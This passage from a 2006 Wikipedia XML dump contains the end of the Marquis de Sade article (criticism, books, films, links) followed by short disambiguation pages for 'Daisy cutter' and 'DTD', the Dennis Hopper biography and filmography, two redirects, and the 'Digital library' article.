He also wrote several plays, most of them unpublished. ''Le Misanthrope par amour ou Sophie et Desfrancs'' was accepted by the [[Comédie-Française]] in [[1790]], and ''Le Comte Oxtiern ou les effets du libertinage'' was performed at the [[Theatre Moliere]] in [[1791]]. 

Several letters written from prison to his wife have been preserved and were published in [[1998]] as ''Letters from Prison''. Some of them show a bizarre and paranoid obsession with the hidden meaning of numbers.

== Appraisal and criticism ==

Numerous artists, especially those concerned with sexuality, have been both repelled and fascinated by de Sade.

[[Simone de Beauvoir]] (in her essay ''Must we burn Sade?'') and other writers have attempted to locate traces of a [[radical]] philosophy of [[freedom]] in Sade's writings, preceding that of [[existentialism]] by some 150 years. The [[surrealism|surrealists]] admired him as one of their precursors, and [[Guillaume Apollinaire]] called him &quot;the freest spirit that has yet existed&quot;.

One of the essays in [[Max Horkheimer]] and [[Theodor Adorno]]'s ''[[Dialectic of Enlightenment]]'' (1947) is titled &quot;Juliette or Enlightenment and Morality&quot; and interprets the behavior of ''[[L'Histoire de Juliette|Juliette]]'' as the embodiment of the philosophy of [[Age of Enlightenment|enlightenment]].

In [[Harlan Ellison]]'s [[science fiction]] [[anthology]], ''[[Dangerous Visions]]'' (1967), [[Robert Bloch]] wrote a story entitled &quot;A Toy For Juliette&quot; whose title character was both named for and used techniques based on Sade's works.

[[Andrea Dworkin]] saw Sade as the exemplar woman-hating pornographer, supporting her theory that pornography inevitably lead to violence against women. One chapter of her book ''Pornography: Men Possessing Women'' (1979) is devoted to an analysis of Sade. [[Susie Bright]] claims that Dworkin's first novel ''Ice and Fire'', which is rife with violence and abuse, is a modern re-telling of Sade's ''Juliette''.

== Works about Sade or his books==

===Books===

*''Marquis de Sade: his life and works.'' (1899) by [[Iwan Bloch]] ([http://supervert.com/elibrary/zips/sade_life_and_work.zip download]) 
*''The Marquis de Sade, a biography.'' (1961) by Gilbert Lély
*''The life and ideas of the Marquis de Sade.'' (1963) by Geoffrey Gorer
*''Sade, Fourier, Loyola.'' (1971) by [[Roland Barthes]] ([http://supervert.com/elibrary/zips/barthes_life_of_sade.zip life of Sade download])
*''The Marquis de Sade: the man, his works, and his critics: an annotated bibliography.'' (1986) by Colette Verger Michael
*''[[The Misfits: A Study of Sexual Outsiders]]'' (1988) by [[Colin Wilson]]
*''Sade, his ethics and rhetoric.'' (1989) by Colette Verger Michael
*''Marquis de Sade: A Biography'' (1991) by Maurice Lever
*'' Dark Eros: The Imagination of Sadism'' (1995) by Thomas Moore
*''The philosophy of the Marquis de Sade.'' (1995) by Timo Airaksinen
*''An Erotic Beyond: Sade.'' (1998) by [[Octavio Paz]] [http://query.nytimes.com/gst/fullpage.html?res=9A00E3D7153DF93AA25757C0A96E958260 review]
*''Sade: A Biographical Essay.'' (1998) by Laurence L. Bongie ([http://www.utpjournals.com/product/utq/691/sade138.html review])
*''The Marquis de Sade: a life.'' (1999) by Neil Schaeffer
*''At Home With the Marquis de Sade: A Life.'' (1999) by Francine du Plessix Gray
*''Marquis de Sade: the genius of passion.'' (2003) by Ronald Hayman

=== Plays ===

* The play by [[Peter Weiss]] titled  ''The Persecution and Assassination of Jean-Paul Marat, as performed by the inmates of the Asylum of Charenton under the direction of the Marquis de Sade'', or ''[[Marat/Sade]]'' for short, is a fictional account of Sade directing a play in Charenton.
* The [[Japanese people|Japanese]] writer [[Yukio Mishima]] wrote a play titled ''[[Madame de Sade]]''.
* The [[Canadian people|Canadian]] writer/actor [[Barry Yzereef]] wrote a play titled ''[[Sade]]'', a one-man show set in Vincennes prison.
* [[Doug Wright]] wrote a play, ''Quills'', a surreal account of the attempts of the Charenton governors to censor the Marquis' writing, which was adapted into the slightly less surreal [[Quills|film]] of the same name.

=== Films ===

Perhaps unsurprisingly, Sade's life and writings have proved irresistible to filmmakers.  While there are numerous [[pornographic film]]s based on his themes, here are some of the more mainstream movies based on his history or his works of fiction:

* ''[[Marat/Sade]]'', a film of the Peter Weiss play (1966) (The full title being ''The Persecution and Assassination of Jean-Paul Marat as Performed by the Inmates of the Asylum of Charenton Under the Direction of the Marquis de Sade'')
* ''[[Justine_(1968_film)|Marquis de Sade: Justine]]'', directed by [[Jesus Franco]] (1968)
* ''[[Eugenie...The Story of Her Journey into Perversion]]'' aka ''Philosophy in the Boudoir'' (1969)
* ''[[De Sade (movie)|De Sade]]'' (1969)
* ''[[Salo, or the 120 Days of Sodom]]'' aka ''Salò o le 120 giornate di Sodoma'', directed by [[Pier Paolo Pasolini]] (1975)
* ''[[Cruel Passion]]'' (1977)
* ''[[Marquis (movie)|Marquis]]'' (1989)
* ''[[Dark Prince]]'' (1996)
* ''[[Sade (movie)|Sade]]'' (1999)
* ''[[Quills]]'' (2000)

== External links ==
{{wikiquotepar|Marquis de Sade}}

===About his life and work===
&lt;!-- This formerly good site says nothing much now except &quot;new site coming soon&quot;. We should keep an eye on it, it will probably eventually be worth restoring. -- [[User:Jmabel|Jmabel]] | [[User talk:Jmabel|Talk]] 06:18, Feb 4, 2005 (UTC)
*[http://www.monsieurlesix.be/ Monsieur Le Six], a source of texts by and about Sade. Includes engravings from his books as well as photos of his skull.--&gt;
*[http://www.routledge-ny.com/enc/eros/individual.html Marquis de Sade], extensive assessment of his work, from the upcoming Routledge Encyclopedia of Erotic Literature
*[http://www.kirjasto.sci.fi/desade.htm Marquis de Sade], from &quot;books and writers&quot;
*[http://www.neilschaeffer.com/sade/index.htm Site about Neil Schaeffer's biography of Sade], includes some letters written by Sade while in prison, a timeline, and a bibliography
*[http://www.ecs.soton.ac.uk/~riw/MarquesDeSade.htm Timeline of his life]
*[http://www.channel4.com/history/microsites/M/masters_darkness/desade.html Biography of Sade] from [[Channel 4]].
*[http://desade.free.fr/docs/sade.html A Brief Account of the Life of the Marquis de Sade], by Anthony Walker
*[http://www.rotten.com/library/bio/pornographers/marquis-de-sade/ Biography of Sade] from [http://www.rotten.com Rotten.com]
*[http://www.historyhouse.com/in_history/desade/ Detailed description of one of de Sade's escapes]
*[http://www.littere.com/lostbooks/engl/enbibliot1.shtm Extensive annotated bibliography], by Marina Pianu

===His works online===
====French====
* [http://fr.wikisource.org/wiki/Donatien_Alphonse_Fran%C3%A7ois_de_Sade French Wikisource], many public domain works by Sade 
* [http://desade.free.fr/ desade.free.fr], many works by or about Sade, in several languages.

====English====
* [http://supervert.com/elibrary/marquis_de_sade Marquis de Sade elibrary] -- Electronic library featuring PDFs of 120 Days of Sodom, Philosophy in the Bedroom, a short story, as well as biographical materials
* [http://www.globusz.com/ebooks/120Days/ The 120 Days of Sodom] (online e-book)
* [http://www.globusz.com/ebooks/Justine/ Justine]
* [http://www.horrormasters.com/Text/a0293.pdf Dialogue Between a Priest and a Dying Man]
* [http://readytogoebooks.com/FC-P15.html Florville and Courval]
* {{gutenberg author| id=Sade+Marquis+de | name=Marquis de Sade}}

[[Category:1740 births|Sade, Marquis de]]
[[Category:1814 deaths|Sade, Marquis de]]
[[Category:Atheists|Sade, Marquis de]]
[[Category:BDSM|Sade, Marquis de]]
[[Category:Erotic writers|Sade, Marquis de]]
[[Category:Former Students of Lycée Louis-le-Grand|Sade, Marquis de]]
[[Category:French Revolution|Sade, Marquis de]]
[[Category:French dramatists and playwrights|Sade, Marquis de]]
[[Category:French nobility|Sade, Marquis de]]
[[Category:French novelists|Sade, Marquis de]]
[[Category:Lesbian, gay, bisexual, or transgender people|Sade, Marquis de]]
[[Category:Obscenity controversies|Sade, Marquis de]]
[[Category:Sexual arts|Sade, Marquis de]]

[[da:Markis de Sade]]
[[de:Donatien Alphonse François de Sade]]
[[es:Marqués de Sade]]
[[fr:Donatien Alphonse François de Sade]]
[[io:Markezo de Sade]]
[[it:Marchese de Sade]]
[[he:המרקיז דה-סאד]]
[[nl:Markies de Sade]]
[[ja:マルキ・ド・サド]]
[[pl:Donatien Alphonse François de Sade]]
[[pt:Marquês de Sade]]
[[ru:Маркиз де Сад]]
[[simple:Marquis de Sade]]
[[fi:Markiisi de Sade]]
[[sv:Donatien Alphonse François de Sade]]
[[th:มาร์กีส์ เดอ ซาด]]
[[zh:萨德侯爵]]
{{Persondata
|NAME=de Sade, Marquis
|ALTERNATIVE NAMES=de Sade, Donatien Alphonse François
|SHORT DESCRIPTION=French writer of pornography and philosophy
|DATE OF BIRTH=[[June 2]], [[1740]]
|PLACE OF BIRTH=[[Paris]], [[France]]
|DATE OF DEATH=[[December 2]], [[1814]]
|PLACE OF DEATH=[[Saint-Maurice, Val-de-Marne|Charenton-Saint-Maurice]]
}}</text>
    </revision>
  </page>
  <page>
    <title>Daisy cutter</title>
    <id>8788</id>
    <revision>
      <id>41996738</id>
      <timestamp>2006-03-03T02:56:40Z</timestamp>
      <contributor>
        <username>RlyehRising</username>
        <id>472450</id>
      </contributor>
      <comment>[[WP:MOSDAB|Disambig page]] style repair ([[Wikipedia:WikiProject Disambiguation|you can help!]])</comment>
      <text xml:space="preserve">'''Daisy Cutter''' may mean:

* [[Daisy cutter (fuse)]], a type of fuse
* A type of bomb, the [[BLU-82]]
* A ball ineptly bowled close to the ground in [[cricket]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>DTD</title>
    <id>8789</id>
    <revision>
      <id>37873323</id>
      <timestamp>2006-02-02T18:20:40Z</timestamp>
      <contributor>
        <username>Johnteslade</username>
        <id>102856</id>
      </contributor>
      <comment>Disambig page style repair ([[Wikipedia:WikiProject Disambiguation|you can help!]])</comment>
      <text xml:space="preserve">'''DTD''' can stand for:

* [[Document Type Definition]], used in SGML and XML programming (similar to DOCTYPE Document Type Declaration)
* [[Delta Tau Delta]], a US-based college fraternity
* [[Double Talk Detection]], a method of detecting (voice) signals from both ends of a telephone line, useful in acoustic echo cancellation
* [[AN/CYZ-10|Data Transfer Device]], a cryptographic device for receiving, storing, and transferring keys

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Dennis Hopper</title>
    <id>8791</id>
    <revision>
      <id>40780548</id>
      <timestamp>2006-02-22T23:43:54Z</timestamp>
      <contributor>
        <username>Liface</username>
        <id>185795</id>
      </contributor>
      <text xml:space="preserve">{{Infobox Celebrity
| name        = Dennis Hopper
| image       = Dennis_Hopper.jpg
| caption     = 
| birth_date  = [[May 17]], [[1936]]
| birth_place = [[Dodge City]], [[Kansas]], [[United States|USA]]
| death_date  = 
| death_place = 
| occupation  = [[Actor]] and [[film]]-maker.
| salary      = 
| networth    = 
| website     = 
| footnotes   = 
}}
'''Dennis Hopper''' (born [[May 17]], [[1936]]) is an [[United States|American]] [[actor]] and [[film]]-maker.

Born in [[Dodge City]], [[Kansas]], Hopper was voted most likely to succeed by his high school class ([[Helix High School]], [[La Mesa, California]]) and it was there he developed an interest in acting. He was especially fond of the plays of [[William Shakespeare]]. Hopper made his acting debut on an episode of the Richard Boone television show ''Medic'' in 1955 playing a young epileptic. Hopper was then cast in two roles with [[James Dean]] (whom he admired immensely) ''[[Rebel Without a Cause]]'' (1955) and ''[[Giant (film)|Giant]]'' (1956).

Dean's death in a 1955 car accident affected the young Hopper deeply and it was shortly afterwards that he got into a confrontation with veteran director [[Henry Hathaway]] on the film ''[[From Hell To Texas]]''. Hopper refused directions for 80 takes over several days. This infamous incident resulted in his being blacklisted from films for several years.

In his book ''[[Last Train to Memphis]]'', American popular music [[historian]] [[Peter Guralnick]] says that in 1956 when [[Elvis Presley]] was making his first film in Hollywood, Dennis Hopper was roommates with fellow actor [[Nick Adams]] and the three became friends and hung out together. 

Hopper moved to New York and studied at the famous [[Lee Strasberg]] acting school. He appeared in over 140 episodes of television shows such as ''[[Bonanza]]'', ''[[The Twilight Zone]]'', ''[[The Defenders (TV)|The Defenders]]'', ''[[The Big Valley]]'', ''[[The Time Tunnel]]'' and ''[[Combat]]''. Hopper also became an accomplished professional [[photographer]] (he has had many exhibitions of his work). He also was very talented as a [[painter]] and a [[poet]].

Hopper had a supporting role as &quot;Babalugats&quot; the bet-taker in &quot;Cool Hand Luke&quot; (1967). 

Although Hopper was able to resume acting in mainstream films including ''[[The Sons Of Kate Elder]]'' (1965) and ''[[True Grit]]'' (1969), in both of these films he had death scenes with [[John Wayne]], it was not until he teamed with [[Peter Fonda]] and made ''[[Easy Rider]]'' that he really shook up the Hollywood establishment. This film became an anthem of sorts to the lost generation of the [[Vietnam war]] and to this day is one of the most successful independent films ever made. Hopper won wide acclaim as the director of the film for his improvisational methods and [[stop action photography]].

Hopper wrote and directed another film that was released in 1971 called ''[[The Last Movie]]'' that was a box office failure and derailed his career for years. Hopper had long been an [[alcoholic]] and drug abuser and it was at this point his addiction began to dominate his life. However, Hopper did act in several films during this period such as ''[[Mad Dog Morgan]]'' (1976), ''[[Tracks (film)|Tracks]]'' (1976), ''[[The American Friend]]'' (1977), ''[[Apocalypse Now]]'' (1979) and he won acclaim for directing and acting in ''[[Out of the Blue (1980 movie)|Out of the Blue]]'' (1980).

In the early [[1980s]], Hopper entered a [[drug rehabilitation]] program and cured himself of his addictions. He gave powerful performances in ''[[Rumble Fish]]'' (1983) and ''[[The Osterman Weekend]]'' (1983). However, it was not until he portrayed the [[alkyl nitrites]]-huffing, obscenity-screaming [[Frank Booth]] in [[David Lynch]]'s film ''[[Blue Velvet]]'' (1986) that his career truly revived. After reading the script, Hopper called Lynch and told him &quot;You have to let me play Frank Booth. Because I am Frank Booth!&quot; Hopper won critical acclaim and a slew of awards for this role and the same year won an [[Academy Award|Oscar]] nomination for Best Supporting Actor for ''[[Hoosiers]]''.

In 1988, Hopper directed a critically acclaimed film about [[Los Angeles]] gangs called ''[[Colors (movie)|Colors]]''. He has continued to be an important actor, photographer and director. He was nominated for an [[Emmy award]] for the 1991 [[HBO]] films ''[[Paris Trout]]'' and ''[[Doublecrossed]]'' (in which he played real life drug smuggler and [[DEA]] informant Barry Seal). He also co-starred in the 1994 blockbuster ''[[Speed (movie)|Speed]]'' with [[Keanu Reeves]] and [[Sandra Bullock]]. He recently contributed to the film ''[[1 Giant Leap]]'' with provocative anecdotes on spirituality, unity and culture.

In the early 90's, Hopper teamed with Nike to make a series of successful television commercials.  Hopper appeared as a &quot;crazed referee&quot; in those ads.

In 2001, Hopper joined the cast of ''[[24 (TV series)|24]]'' for the last five episodes of Season 1. He is currently starring in the [[NBC]] television series ''[[E-Ring]]'', a drama set at [[The Pentagon]].

One of the top collectors of modern American art, Hopper's collection bring collect millions at auction.

On the 2005 [[Gorillaz]] album ''[[Demon Days]]'', Hopper performs the [[spoken word]] track &quot;Fire Coming Out of the Monkey's Head.&quot;

Unlike most of his colleagues in Hollywood, Hopper is a strong supporter of the [[Republican Party (United States)|Republican Party]]

==Filmography==
&lt;div style=&quot;float:left; width:48%;&quot;&gt;
*''[[Johnny Guitar]]'' (1954)
*''[[Rebel Without a Cause]]'' (1955)
*''[[I Died a Thousand Times]]'' (1955)
*''[[Giant (film)|Giant]]'' (1956)
*''[[Gunfight at the O.K. Corral]]'' (1957)
*''[[The Story of Mankind]]'' (1957)
*''[[Sayonara (film)|Sayonara]]'' (1957) (voice only)
*''[[From Hell to Texas]]'' (1958)
*''[[The Young Land]]'' (1959)
*''[[Key Witness]]'' (1960)
*''[[Night Tide]]'' (1961)
*''[[Tarzan and Jane Regained... Sort of]]'' (1964) 
*''[[Screen Test 2|Screen Test #2]]'' (1965) (short subject)
*''[[Screen Test]]'' (1965) (short subject)
*''[[The Sons of Kate Elder]]'' (1965)
*''[[Screen Test 4|Screen Test #4]]'' (1966) (short subject)
*''[[Screen Test 3|Screen Test #3]]'' (1966) (short subject)
*''[[Queen of Blood]]'' (1966)
*''[[Luke (film)|Luke]]'' (1967) (short subject)
*''[[The Trip]]'' (1967)
*''[[Cool Hand Luke]]'' (1967)
*''[[The Glory Stompers]]'' (1968)
*''[[Hang 'Em High]]'' (1968)
*''[[Panic in the City]]'' (1968)
*''[[Head (movie)|Head]]'' (1968) ([[cameo appearance]])
*''[[Easy Rider]]'' (1969) (also director and writer)
*''[[True Grit]]'' (1969)
*''[[The Festival Game]]'' (1970) (documentary)
*''[[The American Dreamer]]'' (1971) (documentary) (also writer)
*''[[The Last Movie]]'' (1971) (also director and writer)
*''[[The Other Side of the Wind]]'' (1972) (unfinished)
*''[[Crush Proof]]'' (1972) 
*''[[Kid Blue]]'' (1973)
*''[[Tracks (film)|Tracks]]'' (1976)
*''[[Mad Dog Morgan]]'' (1976)
*''[[The American Friend]]'' (1977)
*''[[The Sorcerer's Apprentice]]'' (1977)
*''[[Concorde Affair]]'' (1978)
*''[[Flesh Color]]'' (1979)
*''[[Apocalypse Now]]'' (1979)
*''[[The Sky Is Falling]]'' (1979)
*''[[Out of the Blue]]'' (1980) (also director and writer)
*''[[Reborn (film)|Reborn]]'' (1981)
*''[[King of the Mountain]]'' (1981)
*''[[Neil Young: Human Highway]]'' (1982) 
*''[[Rumble Fish]]'' (1983)
*''[[The Osterman Weekend]]'' (1983)
*''[[White Star]]'' (1983)
*''[[Jungle Warriors]]'' (1984)
*''[[The Inside Man]]'' (1984)
*''[[A Hero of Our Time]]'' (1985)
*''[[My Science Project]]'' (1985)
*''[[Riders of the Storm]]'' (1986)
*''[[The Texas Chainsaw Massacre 2]]'' (1986)
*''[[River's Edge]]'' (1986)
*''[[Blue Velvet]]'' (1986)
*''[[Hoosiers]]'' (1986)
*''[[Black Widow (film)|Black Widow]]'' (1987)
*''[[Straight to Hell]]'' (1987)
*''[[O.C. and Stiggs]]'' (1987)
*''[[The Pick-Up Artist]]'' (1987)
*''[[Blood Red]]'' (1989)
*''[[Chattahoochee (film)|Chattahoochee]]'' (1989)
*''[[Catchfire]]'' (1990) (also director)
*''[[Flashback (movie)|Flashback]]'' (1990)
*''[[Hollywood Mavericks]]'' (1990) (documentary)
*''[[Superstar: The Life and Times of Andy Warhol]]'' (1990) (documentary)
*''[[Motion &amp; Emotion]]'' (1990) (documentary)
*''[[Sunset Heat]]'' (1991)
*''[[Hearts of Darkness: A Filmmaker's Apocalypse]]'' (1991) (documentary)
*''[[Picture This: The Times of Peter Bogdanovich in Archer City, Texas]]'' (1991) (documentary)
&lt;/div&gt;&lt;div style=&quot;float:right; width:48%;&quot;&gt;
*''[[The Indian Runner]]'' (1991)
*''[[Eye of the Storm]]'' (1991)
*''[[Snow White, Rose Red]]'' (1991) (documentary)
*''[[Red Rock West]]'' (1992)
*''[[The Revenge of the Dead Indians]]'' (1993) (documentary)
*''[[Boiling Point (1993 movie)|Boiling Point]]'' (1993)
*''[[Super Mario Bros. (film)|Super Mario Bros.]]'' (1993)
*''[[True Romance]]'' (1993)
*''[[Chasers]]'' (1994) (also director)
*''[[Speed (film)|Speed]]'' (1994)
*''[[Witch Hunt (film)|Witch Hunt]]'' (1994)
*''[[Search and Destroy]]'' (1995)
*''[[Waterworld]]'' (1995)
*''[[Cannes Man]]'' (1996) (cameo)
*''[[Carried Away]]'' (1996)
*''[[Basquiat]]'' (1996)
*''[[Space Truckers]]'' (1996)
*''[[Top of the World (1997 film)|Top of the World]]'' (1997)
*''[[The Good Life]]'' (1997) 
*''[[The Last Days of Frankie the Fly]]'' (1997) 
*''[[The Blackout]]'' (1997)
*''[[Who Is Henry Jaglom?]]'' (1997) (documentary)
*''[[Road Ends]]'' (1997)
*''[[Michael Angel]]'' (1998)
*''[[Meet the Deedles]]'' (1998)
*''[[Robert Rauschenberg: Inventive Genius]]'' (1999) (documentary) (narrator)
*''[[The Prophet's Game]]'' (1999)
*''[[Lured Innocence]]'' (1999)
*''[[The Source]]'' (1999)
*''[[Edtv]]'' (1999)
*''[[Straight Shooter]]'' (1999)
*''[[Jesus' Son]]'' (1999)
*''[[The Venice Project]]'' (1999)
*''[[Bad City Blues]]'' (1999)
*''[[Choke (film)|Choke]]'' ([[2000]])
*''[[The Spreading Ground]]'' (2000)
*''[[Luck of the Draw]]'' (2000)
*''[[Welcome to Hollywood]]'' (2000) (documentary)
*''[[Held for Ransom]]'' (2000)
*''[[Jason and the Argonauts (TV movie)|Jason and the Argonauts]]'' (2000)
*''[[L.A.P.D.: To Protect and to Serve]]'' (2001)
*''[[Ticker (film)|Ticker]]'' (2001)
*''[[Jazz Seen: The Life and Times of William Claxton]]'' (2001) (documentary)
*''[[Knockaround Guys]]'' (2001
*''[[1 Giant Leap]]'' (2002) (documentary)
*''[[I Don't Know Jack]]'' (2002) (documentary)
*''[[Unspeakable (film)|Unspeakable]]'' (2002)
*''[[Leo (film)|Leo]]'' (2002)
*''[[Venice: Lost and Found]]'' (2002) (documentary)
*''[[Grand Theft Auto: Vice City]]'' (2002) (voice)
*''[[Easy Riders, Raging Bulls: How the Sex, Drugs and Rock 'N' Roll Generation Saved Hollywood]]'' (2003) (documentary)
*''[[A Decade Under the Influence]]'' (2003) (documentary)
*''[[Dennis Hopper: Create (or Die)]]'' (2003) (documentary)
*''[[New Scenes from America]]'' (2003) (short subject)
*''[[The Night We Called It a Day]]'' (2003)
*''[[The Last Ride]]'' (2004)
*''[[Legacy (film)|Legacy]]'' (2004)
*''[[The Keeper]]'' (2004)
*''[[House of 9]]'' (2004)
*''[[Tell Them Who You Are]]'' (2004) (documentary)
*''[[Inside Deep Throat]]'' (2005) (documentary) (narrator)
*''[[Champion (film)]]'' (2005) (documentary)
*''[[Americano]]'' (2005)
*''[[Going Through Splat: The Life and Work of Stewart Stern]]'' (2005) (documentary)
*''[[The Crow: Wicked Prayer]]'' (2005) (currently completed filming)
*''[[Sketches of Frank Gehry]]'' (2005) (documentary) (currently completed filming)
*''[[Land of the Dead]]'' (2005)
*''[[E-Ring]]'' (2005) (TV series)
*''[[Mem-o-re]]'' (2005]]) (currently filming)
*''[[10th &amp; Wolf]]'' (2006) (currently in post-production)
*''[[3055 Jean Leon]]'' (2006) (documentary) (currently filming)
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

==Trivia==
*''[[Super Mario Bros. (film)|Super Mario Bros.]]'' is the only film in the [[comedy film|comedy film genre]] he appeared in.

==External links==
*{{imdb name | id=0000454 | name=Dennis Hopper}}
* [http://www.thegoldenyears.org/hopper.html Classic Movies (1939 - 1969): Dennis Hopper]

 &lt;!-- Hoosiers --&gt;

[[Category:1936 births|Hopper, Dennis]]
[[Category:Living people|Hopper, Dennis]]
[[Category:American actors|Hopper, Dennis]]
[[Category:Best Supporting Actor Oscar Nominee|Hopper, Dennis]]
[[Category:Film actors|Hopper, Dennis]]
[[Category:People from Kansas|Hopper, Dennis]]
[[Category:Television actors|Hopper, Dennis]]
[[Category:Worst Supporting Actor Razzie|Hopper, Dennis]]
[[Category:Texas Chainsaw Massacre actors|Hopper, Dennis]]
[[Category:Character actors|Hopper, Dennis]]
[[Category:American film directors|Hopper, Dennis]]
[[Category:People who worked with David Lynch|Hopper, Dennis]]

[[bg:Денис Хопър]]
[[da:Dennis Hopper]]
[[de:Dennis Hopper]]
[[eo:Dennis HOPPER]]
[[fr:Dennis Hopper]]
[[nl:Dennis Hopper]]
[[ja:デニス・ホッパー]]
[[pt:Dennis Hopper]]
[[ru:Хоппер, Деннис]]
[[simple:Dennis Hopper]]
[[sv:Dennis Hopper]]</text>
    </revision>
  </page>
  <page>
    <title>Dennis Hopper/Filmography</title>
    <id>8792</id>
    <revision>
      <id>15906742</id>
      <timestamp>2002-09-30T07:15:05Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <minor />
      <comment>make a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Dennis Hopper]]</text>
    </revision>
  </page>
  <page>
    <title>Dolichocephalic</title>
    <id>8793</id>
    <revision>
      <id>15906743</id>
      <timestamp>2002-10-09T14:02:54Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Cephalic index]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cephalic index]]</text>
    </revision>
  </page>
  <page>
    <title>Digital library</title>
    <id>8794</id>
    <revision>
      <id>41009071</id>
      <timestamp>2006-02-24T13:18:18Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Yahoo]] to [[Yahoo!]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">A '''digital library''' is a [[library]] in which a significant proportion of the resources are available in machine-readable format (as opposed to print or microform), accessible by means of computers. The digital content may be locally held or accessed remotely via computer networks. In libraries, the process of digitization began with the catalog, moved to periodical indexes and abstracting services, then to periodicals and large reference works, and finally to book publishing. Some of the largest and most successful digital libraries are [[Project Gutenberg]], [[ibiblio]] and the [[Internet Archive]].

==Advantages==
The traditional libraries are limited by storage space, digital libraries have the potential to store much more information, simply because digital information require very little physical space to contain them. As such, the cost of maintaining a digital library is much lower than that of a traditional library. A traditional library must spend large sums of money paying for staff, book maintenance, rent, and additional books. Digital libraries do away with these fees.

Digital libraries can immediately adopt innovations in technology providing users with improvements in electronic and audio book technology as well as presenting new forms of communication such as wikis and blogs.

* '''No physical boundary'''. The user of a digital library need not to go to the library physically, people from all over the world can gain access to the same information, as long as an Internet connection is available. 
* '''Round the clock availability'''. A major advantage of digital libraries is that people from all over the world can gain access to the information at any time, as long as an Internet connection is available. 
* '''Multiple accesses'''. The same resources can be used at the same time by a number of users. 
* '''Structured approach'''. Digital library provides access to much richer content in a more structured manner, i.e. we can easily move from the catalog to the particular book then to a particular chapter and so on. 
* '''Information retrieval'''. The user is able to use any search term bellowing to the word or phrase of the entire collection. Digital library can provide very user friendly interfaces, giving click able access to its resources. 
* '''Preservation and conservation'''. An exact copy of the original can be made any number of times without any degradation in quality. 
* '''Space'''. Whereas traditional libraries are limited by storage space, digital libraries have the potential to store much more information, simply because digital information requires very little physical space to contain them. When the library had no space for extension digitization is the only solution. 
* '''Networking'''. A particular digital library can provide the link to any other resources of other digital library very easily thus a seamlessly integrated resource sharing can be achieved. 
* '''Cost'''. In theory, the cost of maintaining a digital library is lower than that of a traditional library. A traditional library must spend large sums of money paying for staff, book maintains, rent, and additional books. Although digital libraries do away with these fees, it has since been found that digital libraries can be no less expensive in their own way to operate. Digital libraries can and do incur large costs for the conversion of print materials into digital format,  for the technical skills of staff to maintain them, and for the costs of maintaining online access (i.e servers, bandwidth costs, etc.). Also, the information in a digital library must often be &quot;migrated&quot; every few years to the latest digital media  . This process can incur very large costs in hardware and skilled personnel.(See [[data migration]]).

==Disadvantages==
Some people have criticized that digital libraries are hampered by [[copyright]] law, because works cannot be shared over different periods of time in the manner of a traditional library. The content is, in many cases, [[public domain]] or self-generated content only. Some digital libraries, such as [[Project Gutenberg]], work to digitize out-of-copyright works and make them freely available to the public.  An estimate of the number of distinct books still existent in library catalogues from 2000B.C. to 1960, has been made [http://www.antiquebooks.net/datatop.html].

Digital libraries cannot reproduce the environment of a traditional library. Many people also find reading printed material to be easier than reading material on a computer screen although this depends heavily on presentation as well as personal preferences[http://www.antiquebooks.net]. Also, due to technological developments, a digital library can see some of its content become out-of-date and its data may become unaccessible.

==Academic Repositories==
Many academic libraries are actively involved in building [[Institutional repository|institutional repositories]] of the institution's books, papers, theses, and other works which can be digitized.  Many of these repositories are made available to the academic community or the general public.  Insitutional repositories are often referred to as digital libraries.

==Digital Archives==
[[Archives]] differ from libraries in several ways. Traditionally, archives were defined as:

# Containing primary sources of information (typically letters and papers directly produced by an individual or organization) rather than the secondary sources found in a library (books, etc);
# Having their contents organized in groups rather than individual items. Whereas books in a library are cataloged individually, items in an archive are typically grouped by provenance (the individual or organization who created them) and original order (the order in which the materials were kept by the creator);
# Having unique contents. Whereas a book may be found at many different libraries, depending on its rarity, the records in an archive are usually one-of-a-kind, and cannot be found or consulted at any other location except at the archive that holds them.

The technology used to create digital libraries has been even more revolutionary for archives since it breaks down the second and third of these general rules. The use of [[search engines]], [[Optical Character Recognition]] and [[metadata]] allow digital copies of individual items (i.e. letters) to be cataloged, and the ability to remotely access digital copies has removed the necessity of physically going to a particular archive to find a particular set of records.

[[Cornell University]] and the [[Wisconsin State Historical Society]] are considered leaders in the field of digital archive creation and management.

==The Future==
Large scale digitizaton projects are underway at [[Google]], the [[Million Book Project]], [[MSN]], and [[Yahoo!|Yahoo]]. With continued improvements in book handling and presentation technologies such as  [[Optical Character Recognition]] and [[Ebooks]], and many alternative depositories and business models, digital libraries are rapidly growing in popularity as demonstrated by Google, Yahoo, and MSN's efforts.  And, just as libraries have ventured into audio and video collections, so have digital libraries such as the [[Internet Archive]]. 
==See also==
*[[:Category:Digital libraries|Alphabetical List of Digital Libraries (Wikipedia)]]
*[[Virtual library]]
*[[List of digital library projects]]
*[[Baen Free Library]]
*[[Virtual documents]]
*[[Institutional Repository]]

==External links==
*[http://kitab.az/ Kitab.az Azerbaijan Electronic Library Network (Kitab.Az)] Azerbaijan's online network of electornic catalogues of leading Azerbaijan universities and specialised libraries and online library
*[http://nsdl.org/ National Science Digital Library (NSDL)] The United States' online library of resources for science, technology, engineering, and mathematics education and research
*[http://www.icdlbooks.org The International Children's Digital Library]
*[http://info.lib.uh.edu/sepb/sepb.html ''Scholarly Electronic Publishing Bibliography'']
*[http://digital.library.upenn.edu/books/ The Online Books Page] Search for free online books by author, title, keyword, etc.
*[http://www.ipl.org/ The Internet Public Library] Search for free online books by author, title, keyword, etc.
*[http://www.egranary.org The eGranary Digital Library] Millions of digital resources for those with inadequate Internet connectivity.
*[http://www.finderseeker.com/cgi-bin/search.cgi?disp=10&amp;sp=1&amp;cat=&amp;key=library&amp;country= Search engines which search digital libraries]
*[http://www.ex.ac.uk/library/internet/uklibs.html UK Higher Education &amp; Research Libraries (link list maintained at Exeter University by Ian Tilsed)]
